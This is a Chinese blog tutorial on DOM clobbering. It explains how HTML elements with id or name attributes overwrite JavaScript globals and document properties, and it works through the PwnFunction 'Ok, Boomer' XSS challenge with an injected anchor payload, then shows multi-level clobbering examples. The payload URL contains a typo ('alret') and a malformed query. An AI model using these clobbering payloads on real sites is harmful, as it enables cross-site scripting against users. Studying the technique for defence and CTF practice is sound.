Dom破坏(Dom Clobbering)

什么是 DOM?

文档对象模型 (DOM) 是 Web 文档的编程接口。DOM 将文档表示为节点和对象; 这样,编程语言就可以与页面交互。作为网页的面向对象表示形式,可以使用脚本语言(如 JavaScript)对其进行修改。

原理

<body>
    <img id="x">
    <img name="y">
</body>
<script>
    console.log(x);
    console.log(y);
    console.log(document.x);
    console.log(document.y);
    console.log(window.x);
    console.log(window.y);
</script>

执行后会发现除了document情况下不能通过id取到标签外,其余方式都可以通过id和name取到标签。

因为文档对象模型(DOM)允许JavaScript对其进行操作。我们可以对HTML插入特定id或name的标签,来达到执行命令时使命令错误的指向我们自定义标签的目的。

例如document.cookie 是用来创建 、读取、及删除cookie,如果我们创建一个<img name="cookie">标签,那么执行document.cookie时就会取到这个标签。

执行下面这段代码,本意是向body里插入一个div标签

<body>
    <form name="body">
        <img id="appendChild">
    </form>
</body>
<script>
    var div = document.createElement('div');
    document.body.appendChild(div)
</script>

执行后报错Uncaught TypeError: document.body.appendChild is not a function,可以看到我们多层覆盖掉了document.body.appendChild ⽅法。

如何利用Dom Clobbering?

以上举的例子中我们创建或者覆盖都是标签,类型为HTMLElment对象,我们需要将其转换为⼀个可控的字符串类型,以便我们进⾏操作。

因此我们需要在创建标签时调用toString方法将其转换成字符串类型的标签。但并非所有标签的toString方法都对我们有用

Object.prototype.toString.call(document.body.appendChild)
'[object Function]'

显然上面的字符串就没用。

我们需要在window全局变量下所有元素中寻找我们需要的特定标签,需求为自身重写toString方法的标签。

Object.getOwnPropertyNames(window)
        .filter(p => p.match(/Element$/))
        .map(p => window[p])
        .filter(p => p && p.prototype && p.prototype.toString
            !== Object.prototype.toString)

我们可以得到两种标签对象:HTMLAreaElement (<area>) & HTMLAnchorElement (<a>) ,这两个标签对象我们都可以利用href属性来进行字符串转换。

<a>的toString方法会调用自身的href属性。

针对dom破坏有一道xss的题目:https://xss.pwnfunction.com/warmups/ok-boomer/

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

我们可以这样利用

https://xss.pwnfunction.com/warmups/ok-boomer/boomer=<a id="ok" href="tel:alret(1)">

需要注意的是:dom破坏适用于覆盖的标签本身没有的情况,如果上面的ok在HTML中本来存在那么就不会成功,当然我们也可以想办法让本身存在的代码失效,再进行dom破坏。

两层结构调用

构建集合关系
<div id=x>
<a id=y href='111'></a>
</div>
<script> 
alert(x.y);
</script>

这里无论第⼀个标签怎么组合,得到的结果都只是undefined。但是我们可以通过另⼀种⽅法加⼊引入name属性就会有其他的效果。

我们可以通 过先构建⼀个HTMLCollection ,再通过collection[name] 的形式来调⽤。

<div id="x">
<a id="x" name=y href="111"></a>
</div>
<script> 
alert(x.y);
</script>
利用原本存在的层级关系

利用HTML标签之间存在的关系来构建层级关系

以下关系可以用来构建层级关系: form->buttonform->fieldsetform->imageform->imgform->inputform->objectform->output

三层结构调用

结合上面的两种方法可以构建出三层调用,先用⼀个HTMLCollection 获取第⼆级,再在第⼀个表单中用output 标签即可。

<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script> 
alert(x.y.z.value);
</script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值